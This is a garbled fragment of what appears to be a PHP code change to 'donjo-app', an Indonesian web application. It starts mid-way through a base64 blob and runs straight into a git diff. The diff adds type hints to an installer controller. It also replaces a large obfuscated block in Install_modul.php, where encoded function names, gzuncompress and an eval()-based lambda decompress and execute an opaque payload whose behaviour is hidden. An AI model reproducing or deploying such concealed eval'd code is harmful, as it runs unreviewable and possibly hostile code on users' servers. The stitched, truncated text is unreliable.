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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Install.php b/donjo-app/controllers/Install.php index 3a7e7fc94..ff379bd34 100644 --- a/donjo-app/controllers/Install.php +++ b/donjo-app/controllers/Install.php @@ -94,7 +94,7 @@ public function server() ]); } - private function check_server() + private function check_server(): bool { foreach ($this->config->item('server') as $check) { if (! $check['check']()) { @@ -124,7 +124,7 @@ public function folders() ]); } - private function check_folders() + private function check_folders(): bool { foreach ($this->config->item('folders') as $check) { if (! $check['check']()) { @@ -202,7 +202,7 @@ public function database() return redirect('install/migrations'); } - private function config_database($request = []) + private function config_database(array $request = []): array { if (! $this->session->has_userdata('hostname') && isset($request['database_hostname'])) { $this->session->set_userdata([ @@ -381,7 +381,7 @@ public function finish(): void public function syarat_sandi($password) { - if (! preg_match('/^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[^a-zA-Z0-9])(?!.*\s).{8,20}$/', $password)) { + if (! preg_match('/^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[^a-zA-Z0-9])(?!.*\s).{8,20}$/', (string) $password)) { $this->form_validation->set_message('syarat_sandi', 'Harus 6 sampai 20 karakter dan sekurangnya berisi satu angka dan satu huruf besar dan satu huruf kecil'); return false; diff --git a/donjo-app/controllers/Install_modul.php b/donjo-app/controllers/Install_modul.php index 26f6acd9d..4fe0d6b50 100644 --- a/donjo-app/controllers/Install_modul.php +++ b/donjo-app/controllers/Install_modul.php @@ -260,7 +260,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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